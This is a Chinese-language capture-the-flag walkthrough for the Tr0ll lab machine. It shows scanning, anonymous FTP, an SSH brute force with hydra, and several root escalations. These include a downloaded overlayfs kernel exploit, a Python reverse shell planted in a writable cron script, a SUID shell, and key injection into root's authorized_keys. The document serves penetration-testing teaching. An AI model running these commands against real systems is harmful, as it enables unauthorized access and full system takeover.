No.4-红队渗透项目:Tr0ll
字数 1113 2025-08-19 12:42:24
Tr0ll 渗透测试项目教学文档
1. 环境准备
- 攻击机: Kali Linux
- 目标机: Tr0ll (IP: 192.168.111.136)
- 工具: nmap, ftp, wireshark, hydra, gcc, python, ssh, nc
2. 信息收集阶段
2.1 网络扫描
nmap -sP 192.168.111.0/24 # 发现目标IP
nmap 192.168.111.136 -p- # 全端口扫描
nmap 192.168.111.136 -p- -sS -sV -A # 详细扫描
扫描结果:
- FTP (允许匿名登录)
- SSH (OpenSSH 6.6.1p1 Ubuntu)
- HTTP (Apache 2.4.7)
2.2 FTP枚举
ftp 192.168.111.136
# 用户名: Anonymous
# 密码: Anonymous
发现文件: lol.pcap (流量文件)
2.3 Wireshark分析
分析lol.pcap文件:
- 右键 -> 追踪流量 -> TCP流量
- 在tcp.stream eq 2中发现提示:
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
2.4 Web目录枚举
访问:
http://192.168.111.136/robots.txt发现/secret目录http://192.168.111.136/sup3rs3cr3tdirlol/下载roflmao文件
分析roflmao文件:
file roflmao # 32位ELF二进制文件
strings roflmao # 发现提示: Find address 0x0856BF to proceed
访问http://192.168.111.136/0x0856BF/发现两个子目录:
good_luck/which_one_lol.txtthis_folder_contains_the_password/Pass.txt
3. 渗透阶段
3.1 SSH爆破
使用hydra进行爆破:
hydra -L yaoguang2.txt -p Pass.txt 192.168.111.136 ssh
获得凭据:
- 用户名: overflow
- 密码: Pass.txt
3.2 获取初始shell
ssh overflow@192.168.111.136
# 提升shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'
4. 提权阶段
4.1 系统信息收集
id
uname -a # 显示内核版本: Linux 3.13.0
4.2 内核提权方法
方法1: overlayfs漏洞利用
- 查找可用exp:
searchsploit linux ubuntu 3.13.0
- 使用37292.c:
wget http://192.168.111.128:8081/37292.c
gcc 37292.c -o dayu1
./dayu1
方法2: 利用计划任务反弹shell
- 发现系统每5分钟会终止SSH进程
- 查找计划任务相关文件:
find / -name cronlog 2>/dev/null
find / -name cleaner.py 2>/dev/null
find / -writable 2>/dev/null
- 修改
/lib/log/cleaner.py添加反弹shell代码:
def con():
import socket, time,pty, os
host='攻击机IP'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
- 攻击机监听:
nc -tvlp 9999
方法3: 创建SUID shell
修改/lib/log/cleaner.py:
os.system('cp /bin/sh /tmp/dayu1')
os.system('chmod u+s /tmp/dayu1')
然后执行:
cd /tmp
./dayu1
方法4: SSH密钥提权
- 生成SSH密钥:
ssh-keygen
cat ~/.ssh/id_rsa.pub
- 修改
/lib/log/cleaner.py:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "公钥内容" >> /root/.ssh/authorized_keys')
- 等待计划任务执行后直接SSH root登录
5. 获取flag
cd /root
cat proof.txt
# flag: 702a8c18d29c6f3ca0d99ef5712bfbdc
6. 总结
本渗透测试涉及:
- 信息收集(nmap, FTP, Wireshark)
- Web目录枚举
- SSH爆破
- 多种提权方法(内核漏洞、计划任务利用、SUID、SSH密钥)
- 最终获取root权限和flag
关键点:
- 仔细分析所有发现的信息和提示
- 利用系统定时任务进行权限维持
- 多种提权方法确保成功率
- 注意系统自动终止SSH的特性